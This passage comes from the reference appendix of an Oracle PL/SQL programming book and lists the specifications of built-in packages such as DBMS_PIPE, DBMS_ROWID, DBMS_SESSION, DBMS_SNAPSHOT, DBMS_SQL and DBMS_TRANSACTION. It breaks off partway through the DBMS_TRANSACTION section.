The RECEIVE_MESSAGE function receives a message from the named pipe and copies the contents of that message to the local message buffer. Once you receive the message into the buffer, you can use the UNPACK_MESSAGE procedure to extract the items from the buffer into local variables. The specification is:

FUNCTION DBMS_PIPE.RECEIVE_MESSAGE
   (pipename IN VARCHAR2, timeout IN INTEGER DEFAULT MAXWAIT)
RETURN INTEGER;

The function returns a status, which will be one of the following INTEGER values:

0

Successful receipt of message

1

Timed out waiting to receive a message

2

Record in pipe too big for buffer; this should never happen

3

Receipt of message was interrupted

C.10.6 The REMOVE_PIPE function

The REMOVE_PIPE function removes a pipe from shared memory. This function must be called to remove a pipe created explicitly with CREATE_PIPE. If your pipe is created implicitly, then it will be removed with a call to PURGE or whenever the pipe is emptied. The specification is:

FUNCTION DBMS_PIPE.REMOVE_PIPE (pipename IN VARCHAR2) RETURN INTEGER;

C.10.7 The RESET_BUFFER procedure

The RESET_BUFFER procedure clears the buffer so that both PACK_MESSAGE and UNPACK_MESSAGE will work from the first item. The specification is:

PROCEDURE DBMS_PIPE.RESET_BUFFER;

C.10.8 The SEND_MESSAGE function

The SEND_MESSAGE function sends the contents of the local message buffer to the named pipe. The specification is:

FUNCTION DBMS_PIPE.SEND_MESSAGE
  (pipename IN VARCHAR2,
   timeout IN INTEGER DEFAULT MAXWAIT,
   maxpipesize IN INTEGER DEFAULT 8192)
RETURN INTEGER;

The function returns a status code as follows:

0

Successful receipt of message

1

Timed out waiting to send a message

3

Sending of message was interrupted

C.10.9 The UNIQUE_SESSION_NAME function

The UNIQUE_SESSION_NAME function returns a name that is unique among the sessions currently connected to the database. You can use this function to obtain a name for a pipe that you know will not be in use by any other sessions. The specification is:

FUNCTION DBMS_PIPE.UNIQUE_SESSION_NAME RETURN VARCHAR2;

C.10.10 The UNPACK_MESSAGE procedure

The UNPACK_MESSAGE procedure unpacks the next item from the local message buffer and deposits it into the specified local variable. The specification is:

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE (item OUT VARCHAR2);

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE (item OUT NUMBER);
PROCEDURE DBMS_PIPE.UNPACK_MESSAGE (item OUT DATE);

Previous: C.9 DBMS_OUTPUT | Oracle PL/SQL Programming, 2nd Edition | Next: C.11 DBMS_ROWID (PL/SQL8 Only)
C.9 DBMS_OUTPUT | Book Index | C.11 DBMS_ROWID (PL/SQL8 Only)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.11 DBMS_ROWID (PL/SQL8 Only)

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.11 DBMS_ROWID (PL/SQL8 Only)

Use the DBMS_ROWID package to work with ROWIDs from within PL/SQL programs and SQL statements. Remember that as of Oracle8, there are two types of ROWIDs: extended and restricted. Restricted ROWIDs are the ROWIDs available with Oracle Version 7 and earlier. Extended ROWIDs are used in Oracle8.

C.11.1 The ROWID_CREATE function

Call the create function to create a ROWID (either restricted or extended as you request) based on the individual ROWID component values you specify. This should be used for test purposes only. The specification is:

FUNCTION DBMS_ROWID.ROWID_CREATE
   (rowid_type IN NUMBER,
    object_number IN NUMBER,
    relative_fno IN NUMBER,
    block_number IN NUMBER,
    row_number IN NUMBER)
RETURN ROWID;

C.11.2 The ROWID_INFO procedure

The info procedure returns information about the specified ROWID. This procedure essentially "parses" the ROWID. The specification is:

PROCEDURE DBMS_ROWID.ROWID_INFO
   (rowid_in IN ROWID,
    rowid_type OUT NUMBER,
    object_number OUT NUMBER,
    relative_fno OUT NUMBER,
    block_number OUT NUMBER,
    row_number OUT NUMBER);

C.11.3 The ROWID_TYPE function

The type function determines if the ROWID is restricted or extended. It returns if the ROWID is restricted, and 1 if the ROWID is extended. The specification is:

FUNCTION DBMS_ROWID.ROWID_TYPE (row_id IN ROWID) RETURN NUMBER;

C.11.4 The ROWID_OBJECT function

Use the object function to return the data object number for an extended ROWID. The object function returns if the specified ROWID is restricted. The specification is:

FUNCTION DBMS_ROWID.ROWID_OBJECT (row_id IN ROWID) RETURN NUMBER;

C.11.5 The ROWID_RELATIVE_FNO function

The relative_fno function returns the relative file number (relative to the tablespace) of the ROWID. The specification is:

FUNCTION DBMS_ROWID.ROWID_RELATIVE_FNO (row_id IN ROWID) RETURN NUMBER;

C.11.6 The ROWID_BLOCK_NUMBER function

Use the block_number function to return the database block number of the ROWID. The specification is:

FUNCTION DBMS_ROWID.ROWID_BLOCK_NUMBER (row_id IN ROWID) RETURN NUMBER;

C.11.7 The ROWID_ROW_NUMBER function

The row_number function returns the row number of the ROWID. The specification is:

FUNCTION DBMS_ROWID.ROWID_ROW_NUMBER (row_id IN ROWID) RETURN NUMBER;

C.11.8 The ROWID_TO_ABSOLUTE_FNO function

Call the to_absolute_fno function to return the absolute file number (for a row in a given schema and table) from the ROWID. The specification is:

FUNCTION DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO
   (row_id IN ROWID,
    schema_name IN VARCHAR2,
    object_name IN VARCHAR2)
RETURN NUMBER;

C.11.9 The ROWID_TO_EXTENDED function

The to_extended function converts a restricted ROWID to an extended ROWID. The specification is:

FUNCTION DBMS_ROWID.ROWID_TO_EXTENDED
   (old_rowid IN ROWID,
    schema_name IN VARCHAR2,
    object_name IN VARCHAR2,
    conversion_type IN INTEGER)
RETURN ROWID;

C.11.10 The ROWID_TO_RESTRICTED function

The to_restricted function converts an extended ROWID to a restricted ROWID. The specification is:

FUNCTION DBMS_ROWID.ROWID_TO_RESTRICTED
   (old_rowid IN ROWID,
    conversion_type IN INTEGER)
RETURN ROWID;

C.11.11 The ROWID_VERIFY function

Use the verify function to determine whether a restricted ROWID can be converted to an extended format. The verify function returns if the ROWID provided can be converted and 1 otherwise. The specification is:

FUNCTION DBMS_ROWID.ROWID_VERIFY
   (rowid_in IN ROWID,
    schema_name IN VARCHAR2,
    object_name IN VARCHAR2,
    conversion_type IN INTEGER)
RETURN NUMBER;

Previous: C.10 DBMS_PIPE | Oracle PL/SQL Programming, 2nd Edition | Next: C.12 DBMS_SESSION
C.10 DBMS_PIPE | Book Index | C.12 DBMS_SESSION
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.12 DBMS_SESSION

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.12 DBMS_SESSION

The DBMS_SESSION package provides you with a programmatic interface to several SQL ALTER SESSION commands and other session-level commands.

C.12.1 The CLOSE_DATABASE_LINK procedure

The CLOSE_DATABASE_LINK procedure closes the specified database link. The specification is:

PROCEDURE DBMS_SESSION.CLOSE_DATABASE_LINK (dblink VARCHAR2);

C.12.2 The IS_ROLE_ENABLED function

The IS_ROLE_ENABLED function determines whether the specified role is enabled for this session. The specification is:

FUNCTION DBMS_SESSION.IS_ROLE.ENABLED (rolename VARCHAR2) RETURN BOOLEAN;

C.12.3 The RESET_PACKAGE procedure

The RESET_PACKAGE procedure de-instantiates all packages in the current session. It comes in very handy for releasing all the memory associated with data structures and modules you may be using in your tests. However, this procedure should be used with extreme caution, since it literally wipes the slate clean for all packages in the session. The specification is:

PROCEDURE DBMS_SESSION.RESET_PACKAGE;

C.12.4 The SET_LABEL procedure

The SET_LABEL procedure changes the dbms_session label in Trusted Oracle. The specification is:

PROCEDURE DBMS_SESSION.SET_LABEL (lbl VARCHAR2);

C.12.5 The SET_NLS_LABEL procedure

The SET_NLS_LABEL procedure changes the default label format for your session in Trusted Oracle. The specification is:

PROCEDURE DBMS_SESSION.SET_NLS_LABEL (fmt VARCHAR2);

C.12.6 The SET_NLS procedure

The SET_NLS procedure provides you with a programmatic interface to change the value of a specified National Language Support parameter. The specification is:

PROCEDURE DBMS_SESSION.SET_NLS
   (param VARCHAR2,
    value VARCHAR2);

C.12.7 The SET_ROLE procedure

The SET_ROLE procedure enables or disables the role for the current session. The specification is:

PROCEDURE DBMS_SESSION.SET_ROLE (role_cmd VARCHAR2);

C.12.8 The SET_SQL_TRACE procedure

Use SET_SQL_TRACE to turn the trace facility on and off within your program. The specification is:

PROCEDURE DBMS_SESSION.SET_SQL_TRACE (sql_trace BOOLEAN);

C.12.9 The UNIQUE_SESSION_ID function

The UNIQUE_SESSION_ID function returns a name that is unique among the sessions currently connected to the database. The specification is:

FUNCTION DBMS_SESSION.UNIQUE_SESSION_ID RETURN VARCHAR2;

Previous: C.11 DBMS_ROWID (PL/SQL8 Only) | Oracle PL/SQL Programming, 2nd Edition | Next: C.13 DBMS_SNAPSHOT
C.11 DBMS_ROWID (PL/SQL8 Only) | Book Index | C.13 DBMS_SNAPSHOT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.13 DBMS_SNAPSHOT

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.13 DBMS_SNAPSHOT

The DBMS_SNAPSHOT package provides a programmatic interface through which you can manage snapshots and purge snapshot logs. For detailed information about snapshots (read-only copies of tables), see Chapter 16 in the Oracle7 Server Administrator Guide.

C.13.1 The DROP_SNAPSHOT procedure

This procedures drops the specified snapshot. The specification is:

PROCEDURE DBMS_SNAPSHOT.DROP_SNAPSHOT
   (mowner VARCHAR2,
    master VARCHAR2,
    snapshot DATE);

C.13.2 The GET_LOG_AGE procedure

This procedures gets the oldest date entry in the log. The specification is:

PROCEDURE DBMS_SNAPSHOT.GET_LOG_AGE
   (oldest IN OUT date,
    mow VARCHAR2,
    mas VARCHAR2);

C.13.3 The PURGE_LOG procedure

This procedure purges the specified log of any unnecessary rows. The specifications are:

PROCEDURE DBMS_SNAPSHOT.PURGE_LOG
   (master VARCHAR2,
    num NUMBER);

PROCEDURE DBMS_SNAPSHOT.PURGE_LOG
   (master VARCHAR2,
    num NUMBER,
    flag VARCHAR2);

C.13.4 The REFRESH procedure

This procedure causes a manual refresh of the snapshot. The procedure is overloaded so that you can specify an optional refresh option. The specifications are:

PROCEDURE DBMS_SNAPSHOT.REFRESH (snapshot VARCHAR2);

PROCEDURE DBMS_SNAPSHOT.REFRESH
   (snapshot VARCHAR2,
    op VARCHAR2);

C.13.5 The REFRESH_ALL procedure

This procedure causes a refresh of all snapshots waiting to be refreshed automatically. The specification is:

PROCEDURE DBMS_SNAPSHOT.REFRESH_ALL;

C.13.6 The SET_UP procedure

This procedure prepares the specified master site to refresh a snapshot. The specification is:

PROCEDURE DBMS_SNAPSHOT.SET_UP
   (mowner VARCHAR2,
    master VARCHAR2,
        log IN OUT VARCHAR2,
    snapshot IN OUT date,
    snaptime IN OUT date);

C.13.7 The WRAP_UP procedure

The WRAP_UP procedure records a refresh at the master site. The specification is:

PROCEDURE DBMS_SNAPSHOT.WRAP_UP
   (mowner VARCHAR2,
    master VARCHAR2,
    sshot DATE,
    stime DATE);

Previous: C.12 DBMS_SESSION | Oracle PL/SQL Programming, 2nd Edition | Next: C.14 DBMS_SQL
C.12 DBMS_SESSION | Book Index | C.14 DBMS_SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.14 DBMS_SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.14 DBMS_SQL

The DBMS_SQL package offers access to dynamic SQL from within PL/SQL. "Dynamic SQL" means SQL statements are not prewritten into your programs; instead, they are constructed at run time as character strings and then passed to the SQL engine for execution.

C.14.1 The BIND_ARRAY procedure

With PL/SQL8 you can perform bulk selects, inserts, updates and deletes to improve the performance of your application. You accomplish these by associating one or more index-by tables with columns in your cursor. The BIND_ARRAY procedure performs this step for you with this interface:

PROCEDURE DBMS_SQL.BIND_ARRAY (c IN INTEGER,
   name IN VARCHAR2,
   <table_variable> IN <datatype>,
  [,index1 IN INTEGER,
   ,index2 IN INTEGER)]);

The <table_variable> <datatype> pairing may be any of the following:

<number_table> DBMS_SQL.NUMBER_TABLE
<varchar2_table> DBMS_SQL.VARCHAR2_TABLE
<date_table> DBMS_SQL.DATE_TABLE
<blob_table> DBMS_SQL.BLOB_TABLE
<clob_table> DBMS_SQL.CLOB_TABLE
<bfile_table> DBMS_SQL.BFILE_TABLE

C.14.2 The BIND_VARIABLE procedure

The BIND_VARIABLE procedure lets you bind a specific value to a host variable which was placed in the SQL statement as a placeholder. Whenever you include a reference to a bind or host variable in the SQL statement that you pass to the PARSE procedure, you must issue a call to BIND_VARIABLE in order to bind or attach a value to that variable. The overloaded specification for this procedure supports multiple datatypes, as follows:

PROCEDURE DBMS_SQL.BIND_VARIABLE
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN <datatype>);

The <datatype> may be any of the following:

BFILE
BLOB
CLOB CHARACTER SET ANY_CS
DATE
MLSLABEL /* Trusted Oracle only */
NUMBER
VARCHAR2 CHARACTER SET ANY_CS

The dbms_sql package also offers more specific variants of bind_variable for less common datatypes:

PROCEDURE DBMS_SQL.BIND_VARIABLE
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN VARCHAR2 CHARACTER SET ANY_CS,
    [,out_value_size IN INTEGER]);

PROCEDURE DBMS_SQL.BIND_VARIABLE_CHAR
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN CHAR CHARACTER SET ANY_CS,
    [,out_value_size IN INTEGER]);

PROCEDURE DBMS_SQL.BIND_VARIABLE_RAW
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN RAW,
    [,out_value_size IN INTEGER]);

PROCEDURE DBMS_SQL.BIND_VARIABLE_ROWID
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN ROWID;

C.14.3 The CLOSE_CURSOR procedure

The CLOSE_CURSOR procedure closes the specified cursor and sets the cursor handle to NULL. It releases all memory associated with the cursor. The specification for the procedure is:

PROCEDURE DBMS_SQL.CLOSE_CURSOR (c IN OUT INTEGER);

C.14.4 The COLUMN_VALUE procedure

The COLUMN_VALUE procedure retrieves a value from the cursor into a local variable. Use this procedure when the SQL statement is a query and you are fetching rows with EXECUTE_AND_FETCH or FETCH_ROWS. You call COLUMN_VALUE after a row has been fetched to transfer the value from the SELECT list of the cursor into a local variable. For each call to COLUMN_VALUE, you should have made a call to DEFINE_COLUMN in order to define that column in the cursor.

The overloaded specification is:

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT DATE,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT NUMBER,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT VARCHAR2,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

The DBMS_SQL package also offers more specific variants of COLUMN_VALUE for less common datatypes:

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT MLSLABEL,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT CHAR,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT RAW,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    value OUT ROWID,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

C.14.5 The DEFINE_COLUMN procedure

When you call DBMS_SQL.PARSE to process a SELECT statement, you want to pass values from the database into local variables. To do this you must associate the columns or expressions in the SELECT list with those local variables. You do this with the DEFINE_COLUMN procedure, whose overloaded specification is:

PROCEDURE DBMS_SQL.DEFINE_COLUMN
   (c IN INTEGER,
    position IN INTEGER,
    column IN DATE);

PROCEDURE DBMS_SQL.DEFINE_COLUMN
   (c IN INTEGER,
    position IN INTEGER,
    column IN NUMBER);

PROCEDURE DBMS_SQL.DEFINE_COLUMN
   (c IN INTEGER,
    position IN INTEGER,
    column IN VARCHAR2,
    column_size IN INTEGER);

C.14.6 The EXECUTE function

The EXECUTE function executes the SQL statement associated with the specified cursor. It returns the number of rows processed by the SQL statement if that statement is an UPDATE, INSERT, or DELETE. If the SQL statement is not an UPDATE, INSERT, or DELETE, ignore the value returned by EXECUTE. If the SQL statement is a query, you can now call the FETCH_ROWS function to fetch rows which are retrieved by that query. The specification is:

FUNCTION DBMS_SQL.EXECUTE (c IN INTEGER) RETURN INTEGER;

C.14.7 The EXECUTE_AND_FETCH function

The EXECUTE_AND_FETCH function executes the SELECT statement associated with the specified cursor and immediately fetches the rows associated with the query. The specification is:

FUNCTION DBMS_SQL.EXECUTE_AND_FETCH
   (c IN INTEGER,
    exact_match IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

C.14.8 The FETCH_ROWS function

The FETCH_ROW function corresponds to the FETCH statement for regular PL/SQL cursors. It fetches the next row from the cursor. The specification is:

FUNCTION DBMS_SQL.FETCH_ROWS (c IN INTEGER) RETURN INTEGER;

C.14.9 The IS_OPEN function

The IS_OPEN function returns TRUE if the specified cursor is already open, FALSE otherwise. This function corresponds to the %ISOPEN attribute for regular PL/SQL cursors. The specification is:

FUNCTION DBMS_SQL.IS_OPEN (c IN INTEGER) RETURN BOOLEAN;

C.14.10 The LAST_ERROR_POSITION function

The LAST_ERROR_POSITION function returns the byte offset in the SQL statement where the ERROR occurred. Call this function immediately after a call to EXECUTE or EXECUTE_AND_FETCH in order to obtain meaningful results. The specification is:

FUNCTION DBMS_SQL.LAST_ERROR_POSTITION RETURN INTEGER;

C.14.11 The LAST_ROW_COUNT function

The LAST_ROW_COUNT function returns the total number of rows fetched at that point. The specification is:

FUNCTION DBMS_SQL.LAST_ROW_COUNT RETURN INTEGER;

C.14.12 The LAST_ROW_ID function

The LAST_ROW_ID function returns the rowid of the row fetched most recently. The specification is:

FUNCTION DBMS_SQL.LAST_ROW_ID RETURN ROWID;

C.14.13 The LAST_SQL_FUNCTION_CODE function

The LAST_SQL_FUNCTION_CODE function returns the SQL function code for the SQL statement. The specification is:

FUNCTION DBMS_SQL.LAST_SQL_FUNCTION_CODE RETURN INTEGER;

C.14.14 The OPEN_CURSOR function

Use this function to open a cursor, which means that the Oracle Server will set aside memory for a cursor data area and return a pointer to that area. The specification is:

FUNCTION DBMS_SQL.OPEN_CURSOR RETURN INTEGER;

C.14.15 The PARSE procedure

The PARSE procedure immediately parses the statement specified. The specification for this procedure is:

PROCEDURE DBMS_SQL.PARSE
   (cursor_handle IN INTEGER,
    SQL_statement IN VARCHAR2,
    language_flag IN INTEGER);

PL/SQL8 offers a second, overloaded version of DBMS_SQL.PARSE, which comes in handy when you have very large SQL statements. If your SQL statement exceeds the largest possible contiguous allocation on your system (and it is machine-dependent) or 32K bytes (the maximum size for VARCHAR2), use this version of the PARSE procedure:

PROCEDURE DBMS_SQL.PARSE
   (cursor_handle IN INTEGER,
    SQL_statement IN DBMS_SQL.VARCHAR2S,
    lb IN INTEGER,
    ub IN INTEGER,
    lfflg IN BOOLEAN,
    language_flag IN INTEGER);

C.14.16 The VARIABLE_VALUE procedure

The VARIABLE_VALUE procedure lets you retrieve the value of a named variable from the specified PL/SQL block. The overloaded specification for this procedure supports three datatypes, as follows:

PROCEDURE DBMS_SQL.VARIABLE_VALUE
   (cursor_handle IN INTEGER,
    variable_name IN VARCHAR2,
    value OUT NUMBER);

PROCEDURE DBMS_SQL.VARIABLE_VALUE
   (cursor_handle IN INTEGER,
    variable_name IN VARCHAR2,
    value OUT DATE);

PROCEDURE DBMS_SQL.VARIABLE_VALUE
   (cursor_handle IN INTEGER,
    variable_name IN VARCHAR2,
    value OUT VARCHAR2);

Previous: C.13 DBMS_SNAPSHOT | Oracle PL/SQL Programming, 2nd Edition | Next: C.15 DBMS_TRANSACTION
C.13 DBMS_SNAPSHOT | Book Index | C.15 DBMS_TRANSACTION
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.15 DBMS_TRANSACTION

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.15 DBMS_TRANSACTION

The DBMS_TRANSACTION package provides a programmatic interface to a number of the SQL transaction statements. The majority of these procedures (advise_commit through rollback_force) have SQL equivalents that you can invoke directly from within PL/SQL. Thus, many PL/SQL programmers choose to use the SQL equivalents rather than these procedures. However, the last five procedures (begin_discrete_transaction through step_id) have no equivalents and nicely abstract the PL/SQL programmer or database administrator from the internals of what is being accomplished.

C.15.1 The ADVISE_COMMIT procedure

The ADVISE_COMMIT procedure specifies that "commit" in-doubt transaction advice is sent to remote databases during distributed transactions.

The advice generated by this procedure appears on the remote database in the ADVICE column of the DBA_2PC_PENDING data dictionary view if the distributed transaction becomes in-doubt (i.e., a network or machine failure occurs during the commit). The remote database administrator can then review the DBA_2PC_PENDING information and manually commit or roll back in-doubt transactions using the FORCE clause of the COMMIT or ROLLBACK commands. Each call to an ADVISE procedure remains in effect for the duration of that connection or until a different ADVISE procedure call is made. This allows you to send different advice to various remote databases.

This procedure is equivalent to the SQL command, ALTER SESSION ADVISE COMMIT. The specification is:

PROCEDURE DBMS_TRANSACTION.ADVISE_COMMIT;

C.15.2 The ADVISE_NOTHING procedure

The ADVISE_NOTHING procedure specifies that no in-doubt transaction advice is sent to remote databases during distributed transactions. Advice is handled as described for ADVISE_COMMIT. This procedure is equivalent to the SQL command, ALTER SESSION ADVISE NOTHING. The specification is:

PROCEDURE DBMS_TRANSACTION.ADVISE_NOTHING;

C.15.3 The ADVISE_ROLLBACK procedure

The ADVISE_ROLLBACK procedure specifies that "rollback" in-doubt transaction advice is sent to remote databases during distributed transactions. Advice is handled as described for ADVISE_COMMIT. This procedure is equivalent to the SQL command, ALTER SESSION ADVISE ROLLBACK. The specification is:

PROCEDURE DBMS_TRANSACTION.ADVISE_ROLLBACK;

C.15.4 The COMMIT procedure

The COMMIT procedure ends the current transaction and makes permanent all pending changes. It also erases savepoints and releases all locks. It is provided primarily for completeness. It is equivalent to the COMMIT command, which is already implemented as part of PL/SQL. I recommend using the SQL command rather than the procedure. The specification is:

PROCEDURE DBMS_TRANSACTION.COMMIT;

C.15.5 The COMMIT_COMMENT procedure

The COMMIT_COMMENT procedure performs a commit and sends a "commit" in-doubt transaction comment to remote databases during distributed transactions. This comment appears on the remote database in the TRAN_COMMENT column of the DBA_2PC_PENDING data dictionary view if the distributed transaction becomes in-doubt (i.e., a network or machine failure occurs during the commit). The remote database administrator can then review the DBA_2PC_PENDING information and manually commit or roll back in-doubt transactions using the FORCE clause of the COMMIT or ROLLBACK commands. This procedure is equivalent to the SQL command, COMMIT COMMENT. The specification is:

PROCEDURE DBMS_TRANSACTION.COMMIT_COMMENT (cmnt VARCHAR2);

C.15.6 The COMMIT_FORCE procedure

The COMMIT_FORCE procedure manually commits local in-doubt, distributed transactions. Any decisions to force in-doubt transactions should be made after consulting with the database administrator(s) at the remote database location(s). If the decision is made to locally force any transactions, the database administrator should either commit or rollback such transactions as was done by nodes that successfully resolved the transactions. Otherwise, the administrator should query the DBA_2PC_PENDING views ADVICE and TRAN_COMMENT columns for further insight.[2] This procedure is equivalent to the SQL command, COMMIT FORCE. The specification is:

[2] For more information on this topic, see "Manually Overriding In-Doubt Transactions" in Oracle8 Server Distributed Systems .

PROCEDURE DBMS_TRANSACTION.COMMIT_FORCE
   (xid VARCHAR2,
    scn VARCHAR2 DEFAULT NULL);

C.15.7 The READ_ONLY procedure

The READ_ONLY procedure establishes the current transaction as a read-consistent transaction (i.e., repeatable reads). Once a transaction is designated as read-only, all queries within that transaction can only see changes committed prior to that transactions start. Thus, read-only transactions let you issue two or more queries against tables that may be undergoing concurrent inserts or updates, and yet return results consistent as of the transaction's start. This procedure is equivalent to the SQL command, SET TRANSACTION READ ONLY. The specification is:

 PROCEDURE DBMS_TRANSACTION.READ_ONLY;

C.15.8 The READ_WRITE procedure

The READ_WRITE procedure establishes the current transaction as a read-write transaction. This is the default transaction mode. This procedure is equivalent to the SQL command, SET TRANSACTION READ WRITE. The specification is:

PROCEDURE DBMS_TRANSACTION.READ-WRITE;

C.15.9 The ROLLBACK procedure

The ROLLBACK procedure ends the current transaction and undoes all pending changes. It also erases savepoints and releases all locks. It is provided primarily for completeness. It is equivalent to the ROLLBACK command, which is already implemented as part of PL/SQL. I recommend using the SQL command rather than the procedure. The specification is:

PROCEDURE DBMS_TRANSACTION.ROLLBACK;

C.15.10 The ROLLBACK_FORCE procedure

The ROLLBACK_FORCE procedure manually rolls back local in-doubt, distributed transactions. The parameter identifies the transaction's local or global transaction ID. To find these transaction IDs, query the data dictionary view DBA_2PC_PENDING. Any decisions to force in-doubt transactions should be made after consulting with the database administrator(s) at the remote database location(s), as described for COMMIT_FORCE. This procedure is equivalent to the SQL command, ROLLBACK FORCE. The specification is:

PROCEDURE DBMS_TRANSACTION.ROLLBACK_FORCE (xid VARCHAR2);

C.15.11 The ROLLBACK_SAVEPOINT procedure

The ROLLBACK_SAVEPOINT procedure rolls back the current transaction to a previously declared savepoint. It is provided primarily for completeness. It is equivalent to the ROLLBACK SAVEPOINT command, which is already implemented as part of PL/SQL. I recommend using the SQL command rather than the procedure. The specification is:

PROCEDURE DBMS_TRANSACTION.ROLLBACK_SAVEPOINT;

C.15.12 The SAVEPOINT procedure

The SAVEPOINT procedure identifies a logical point within a transaction to which you can later roll back. It is provided primarily for completeness. It is equivalent to the SAVEPOINT command, which is already implemented as part of PL/SQL. I recommend using the SQL command rather than the procedure. The specification is:

PROCEDURE DBMS_TRANSACTION.SAVEPOINT;

C.15.13 The USE_ROLLBACK_SEGMENT procedure

The USE_ROLLBACK_SEGMENT procedure assigns the current transaction to the specified rollback segment. This option also establishes the transaction as a read-write transaction. The rollback segment specified must be online. You cannot use both the READ_ONLY and USE_ROLLBACK_SEGMENT procedures within the same transaction. Read-only transactions do not generate rollback information and thus cannot be assigned rollback segments. This procedure is equivalent to the SQL command, SET TRANSACTION USE ROLLBACK SEGMENT. The specification is:

PROCEDURE DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT (rb_name VARCHAR2);

C.15.14 The BEGIN_DISCRETE_TRANSACTION procedure

The BEGIN_DISCRETE_TRANSACTION procedure streamlines transaction processing so short transactions can execute more rapidly. During discrete transactions, normal redo information is generated although it is stored in a separate location in memory. When the discrete transaction commits, the redo information is written to the redo log file and data block changes are applied directly. As such, there is no need for undo information in rollback segments. The block is then written to the database file in the usual manner. The call to this procedure is effective only until the transaction is committed or rolled back; the next transaction is processed as a standard transaction. Any PL/SQL using this procedure must be coded to ensure that the transaction is attempted again in the event of a discrete transaction failure.[3] The specification is:

[3] For more information on this topic, see "Using Discrete Transactions" in Oracle8 Server Tuning .

PROCEDURE DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION;

C.15.15 The PURGE_MIXED procedure

The PURGE_MIXED procedure deletes information about a given in-doubt, distributed transaction that has had mixed outcomes due to a transaction resolution mismatch. This occurs when an in-doubt, distributed transaction is forced to commit or roll back on one node and other nodes do the opposite. Oracle cannot automatically resolve such inconsistencies, but it does flag entries in the DBA_2PC_PENDING view by setting the MIXED column to yes. When the database administrator is sure that any inconsistencies for a transaction have been resolved, he or she can call the PURGE_MIXED procedure.[4] The specification is:

[4] For more information on this topic, see "Manually Overriding In-Doubt Transactions" in Oracle8 Server Distributed Systems .

PROCEDURE DBMS_TRANSACTION.PURGE_MIXED (xid VARCHAR2);

C.15.16 The PURGE_LOST_DB procedure

The PURGE_LOST_DB procedure deletes information about a given in-doubt, distributed transaction that has had mixed outcomes due to a lost database. This occurs when an in-doubt, distributed transaction is able to commit or roll back on one node and other nodes have either destroyed or recreated their databases. Oracle cannot automatically resolve such inconsistencies, as described in PURGE_MIXED. The specification is:

PROCEDURE DBMS_TRANSACTION.PURGE_LOST_DB (xid VARCHAR2);

C.15.17 The LOCAL_TRANSACTION_ID function

The LOCAL_TRANSACTION_ID function returns the unique identifier for the current transaction. The function returns NULL if there is no current transaction. The specification is:

    FUNCTION DBMS_TRANSACTION.LOCAL_TRANSACTION_ID
   (create_transaction BOOLEAN := false)
RETURN VARCHAR2;

C.15.18 The STEP_ID function

The STEP_ID function returns the unique positive integer that orders the DML operations of the current transaction. The specification is:

